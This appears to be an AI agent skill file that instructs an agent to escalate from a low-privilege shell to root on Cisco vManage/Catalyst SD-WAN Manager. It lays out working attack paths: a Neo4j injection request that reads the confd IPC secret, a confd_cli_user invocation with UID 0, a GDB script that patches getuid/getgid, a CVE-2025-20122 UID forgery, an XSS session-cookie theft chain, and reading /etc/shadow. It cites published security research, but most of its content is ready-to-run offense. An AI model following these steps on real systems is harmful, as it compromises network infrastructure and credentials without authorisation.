cisco-vmanage-privilege-escalation

name

cisco-vmanage-privilege-escalation

description

Privilege escalation techniques for Cisco vManage/Catalyst SD-WAN Manager. Use this skill whenever you have a low-privilege shell on a Cisco vManage system and need to escalate to root. Trigger this when you see vManage, Catalyst SD-WAN, confd, cmdptywrapper, or when you have a vmanage/neteng user shell and need root access. Also use when analyzing Cisco SD-WAN vulnerabilities or reviewing CVE-2025-20122, CVE-2024-20475, or Neo4j deserialization attacks on vManage.

Cisco vManage Privilege Escalation

This skill provides multiple paths to escalate from a low-privilege user (typically vmanage or neteng) to root on Cisco vManage/Catalyst SD-WAN Manager systems.

When to Use This Skill

• You have a shell as vmanage, neteng, or similar low-priv user on vManage
• You've exploited a vulnerability (Neo4j deserialization, XSS, etc.) and need to escalate
• You're analyzing Cisco SD-WAN security or testing vManage hardening
• You see confd, cmdptywrapper, or vManage-specific processes in ps aux

Prerequisites

• Low-privilege shell access to the vManage system
• Network connectivity to internal services (for Path 1)
• GDB available on the system (for Path 2)
• Knowledge of the system's process layout

---

Path 1: Neo4j Deserialization + IPC Secret

Best when: You have a Neo4j deserialization RCE or can read /etc/confd/confd_ipc_secret

Step 1: Extract the IPC Secret

The confd service uses a secret file for IPC authentication:

# Check if you can read the secret directly
ls -al /etc/confd/confd_ipc_secret

# If you have Neo4j deserialization access, extract via HTTP:
# GET /dataservice/group/devices?groupId=test\'<>"test\\")+RETURN+n+UNION+LOAD+CSV+FROM+"file:///etc/confd/confd_ipc_secret"+AS+n+RETURN+n+//+' HTTP/1.1
# Host: vmanage-XXXXXX.viptela.net

Step 2: Use confd_cli_user

# Save the secret to a temp file
echo -n "<SECRET_FROM_ABOVE>" > /tmp/ipc_secret

# Set the environment variable
export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

# If confd_cli_user is readable, use it directly:
/usr/bin/confd_cli_user -U 0 -G 0

# If not readable, copy it from rootfs first, then run

Step 3: Get Root Shell

# After running confd_cli_user with -U 0 -G 0:
# You'll see: "admin connected from 127.0.0.1 using console on vManage"

# Enter vshell to get a root shell:
vshell

# Verify root:
id
# uid=0(root) gid=0(root) groups=0(root)

---

Path 2: GDB UID/GID Patching

Best when: You have GDB available and can't read confd_cli_user

Step 1: Create the GDB Script

Use the bundled script scripts/root.gdb or create it manually:

# root.gdb
set environment USER=root

define root
   finish
   set $rax=0
   continue
end

break getuid
commands
   root
end

break getgid
commands
   root
end

run

Step 2: Run confd_cli with GDB

gdb -x /path/to/root.gdb /usr/bin/confd_cli

Step 3: Get Root Shell

# After GDB patches the calls, you'll see:
# "root connected from 127.0.0.1 using console on vmanage"

vshell
whoami
# root

---

Path 3: CVE-2025-20122 CLI Input Validation Bug

Best when: You have any low-priv shell and the system is vulnerable to CVE-2025-20122

Overview

This vulnerability allows any authenticated local user to forge UID/GID fields in CLI requests, bypassing validation and spawning a root-backed PTY.

Step 1: Locate the CLI IPC Endpoint

# Find the cmdptywrapper listener
ps aux | grep cmdptywrapper
# Look for: -I 127.0.0.1 -p 4565

# Or check listening ports:
netstat -tlnp | grep 4565

Step 2: Craft the Forged Request

The validation bug fails to enforce the original caller's UID. Send a request that forges UID/GID to 0:

# Connect to the CLI service and send forged UID/GID
# The exact format depends on the protocol, but the key is:
# - Set UID field to 0
# - Set GID field to 0
# - Pipe commands through: vshell; id

Step 3: Execute Commands as Root

# Once connected with forged credentials:
vshell
id
# uid=0(root) gid=0(root) groups=0(root)

---

Chaining with Other Vulnerabilities

CVE-2024-20475: Authenticated UI XSS

If you can inject JavaScript in the vManage UI:

1. Steal an admin session cookie
2. Use the session to access vshell via the browser
3. Get a local shell
4. Use Path 3 above to escalate to root

---

Verification Checklist

After escalation, verify you have root:

# Check UID
id

# Check effective permissions
whoami

# Try writing to root-owned files
touch /root/test_file

# Check for sensitive files
cat /etc/shadow

---

Troubleshooting

"Permission denied" on confd_cli_user

• The binary is root-owned. Use Path 2 (GDB) instead.

GDB not available

• Try Path 1 if you can extract the IPC secret.
• Check if gdb exists: which gdb

cmdptywrapper not listening on 4565

• Check the actual port: `ps aux | grep cmdptywrapper | grep -oP '-p \K[0-9]+'
• The port may vary by version.

Neo4j deserialization not working

• Ensure the Neo4j instance is running under vmanage user.
• Check the exact endpoint path for your vManage version.

---

References

• Synacktiv: Pentesting Cisco SD-WAN Part 1
• Walmart Global Tech: Hacking Cisco SD-WAN vManage
• CVE-2025-20122: Cisco Catalyst SD-WAN Manager Privilege Escalation
• CVE-2024-20475: Cisco Catalyst SD-WAN Manager XSS